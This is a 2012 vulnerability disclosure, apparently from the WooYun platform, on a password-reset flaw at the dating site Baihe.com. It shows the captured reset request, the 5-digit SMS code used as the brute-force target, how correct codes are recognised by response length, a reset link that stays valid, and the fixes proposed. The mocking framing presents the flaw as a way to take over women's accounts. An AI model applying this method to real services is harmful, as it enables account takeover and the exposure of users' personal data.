当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2012-014594

漏洞标题:光棍节屌丝的逆袭专场NO.1---百合网修改任意妹子账号密码漏洞

相关厂商:百合网

漏洞作者: 风萧萧

提交时间:2012-11-10 17:32

修复时间:2012-12-25 17:32

公开时间:2012-12-25 17:32

漏洞类型:设计缺陷/逻辑错误

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2012-11-10: 细节已通知厂商并且等待厂商处理中
2012-11-12: 厂商已经确认,细节仅向厂商公开
2012-11-22: 细节向核心白帽子及相关领域专家公开
2012-12-02: 细节向普通白帽子公开
2012-12-12: 细节向实习白帽子公开
2012-12-25: 细节向公众公开

简要描述:

屌丝们,为了妹子们还在扫号么?还在撞库么?还在为了绕过图片验证码烦恼发愁么?光棍节即将到来,本人即将送上各大网站账号密码重置漏洞!

详细说明:

1.是百合的主站哦,进入百合网的账号登陆页面。当然我们这里不登陆,而是点击【忘记密码?】按钮,进入密码重置流程:

1.jpg


2.填写需要重置的账号,由于只是测试漏洞存在,这里只用了我自己的账号:

2.jpg


3.点击下一步,选择找回密码的方式为【注册手机找回】,当然如果认证了的话也可以选择【认证手机找回】:

3.jpg


4.已经给我的手机号发送了重置密码的短信码了(为了与图片验证码区别,这里成为短信码)

4.jpg

5.jpg

漏洞证明:

5.查看手机收到的短信码为【58474】,我首先输入任意的5位纯数字短信码12345,点击提交,则返回如下错误,记得此时设置好浏览器代理:

7.jpg


6.同时,看到的抓包请求为:

GET /ForgotPwdByMobileServlet?jsoncallback=jsonp1352425895960&checkflag=1&reqtype=2&code=12345&_=1352426000488&mobilenum=1*********9 HTTP/1.1
Host: passport.baihe.com
Proxy-Connection: keep-alive
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.13 (KHTML, like Gecko) Chrome/24.0.1284.2 Safari/537.13
Accept: text/javascript, application/javascript, */*
Referer: http://passport.baihe.com/forgotPwdByRegMobile.html
Accept-Encoding: gzip,deflate,sdch
Accept-Language: zh-CN,zh;q=0.8
Accept-Charset: GBK,utf-8;q=0.7,*;q=0.3
Cookie: tempID=8171464184; __utma=175516593.56299183.1352424945.1352424945.1352424945.1; __utmb=175516593.1.10.1352424945; __utmc=175516593; __utmz=175516593.1352424945.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); JSESSIONID=C22281DF4A91C1DE89890018C79716DA; findpwd_val=1*********9; Hm_lvt_5caa30e0c191a1c525d4a6487bf45a9d=1352424944737; Hm_lpvt_5caa30e0c191a1c525d4a6487bf45a9d=1352425904077

上面的参数code=12345为短信码,而参数mobilenum=1*********9为手机号码。
7.写了那么多,开始吧:设置好参数code为需要爆破的参数,这里由于是测试我从59400开始暴力猜测

百合第7步截图.jpg


9.jpg


8.通过返回的字节数或者返回的内容得出正确的短信码:
短信码错误时,返回的字节数为436,而短信码正确时字节数为634

10.jpg


从内容上判断,短信码错误时返回内容为:

HTTP/1.1 200 OK
Date: Fri, 09 Nov 2012 01:57:47 GMT
Server: baihe_passport_60/2.0.63 (Unix) mod_jk/1.2.30
X-Powered-By: Servlet 2.4; JBoss-4.0.3SP1 (build: CVSTag=JBoss_4_0_3_SP1 date=200510231054)/Tomcat-5.5
Connection: close
Content-Length: 65
Cache-Control: max-age=86400
Expires: Sat, 10 Nov 2012 01:57:47 GMT
Content-Type: text/json;charset=gbk
jsonp1352425895961({"mobilenum":"1*********9","checkresult":"0"})

短信码正确时返回内容为:

HTTP/1.1 200 OK
Date: Fri, 09 Nov 2012 01:57:59 GMT
Server: baihe_passport_60/2.0.63 (Unix) mod_jk/1.2.30
X-Powered-By: Servlet 2.4; JBoss-4.0.3SP1 (build: CVSTag=JBoss_4_0_3_SP1_pp60java2 date=200510231054)/Tomcat-5.5
Connection: close
Content-Length: 262
Cache-Control: max-age=86400
Expires: Sat, 10 Nov 2012 01:57:59 GMT
Content-Type: text/json;charset=gbk
jsonp1352425895961({"mobilenum":"1*********9","checkresult":"75526369","mobilenum_encode":"EEB0550021599CDD98D3CFC9C824665D","ed":"DCDDDFA8C838BA86065982CDB72D5B23BAC542E4842B3E9CE730A86357C964135967C4CFC05D0B2946673361B4D3F27839A6FD57ABFFE1B2C486C4E73739AD07"})


9.那么使用爆破完的短信码重置账号吧!

12.jpg


10.屌丝成功逆袭:

13.jpg

14.jpg

修复方案:

1.还有一个很严重的bug,一次取回账号长久可用,我的重置链接如下(怎么获得呢?),但是评估我的账号被恶意重置以及泄露个人信息的风险,隐去最后8位:

http://passport.baihe.com/resetPwd.jsp?ed=DCDDDFA8C838BA86065982CDB72D5B23BAC542E4842B3E9CE730A86357C964135967C4CFC05D0B2946673361B4D3F278D8EB391C7919F918003C9ACF********


只要拿了上述链接,不用走重置密码的流程即可重新更新密码;
2.5位纯数字短信码的爆破,即平均5万次的请求,我使用了burpsuite测试单台机器100线程,4分钟即可重置任意一个手机账号!危险啊
3.短信码可以为5位纯数字,甚至可以缩短为4为纯数字;可以不设置图片验证码,甚至可以不用设置短信码的有效期。但是为什么不设置连续5次尝试失败就锁定本次密码重置的请求呢?
4.求20rank,求礼物!

版权声明:转载请注明来源 风萧萧@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2012-11-12 18:12

厂商回复:

非常感谢风萧萧 帮我们发现问题,我们会尽快改正的。

最新状态:

暂无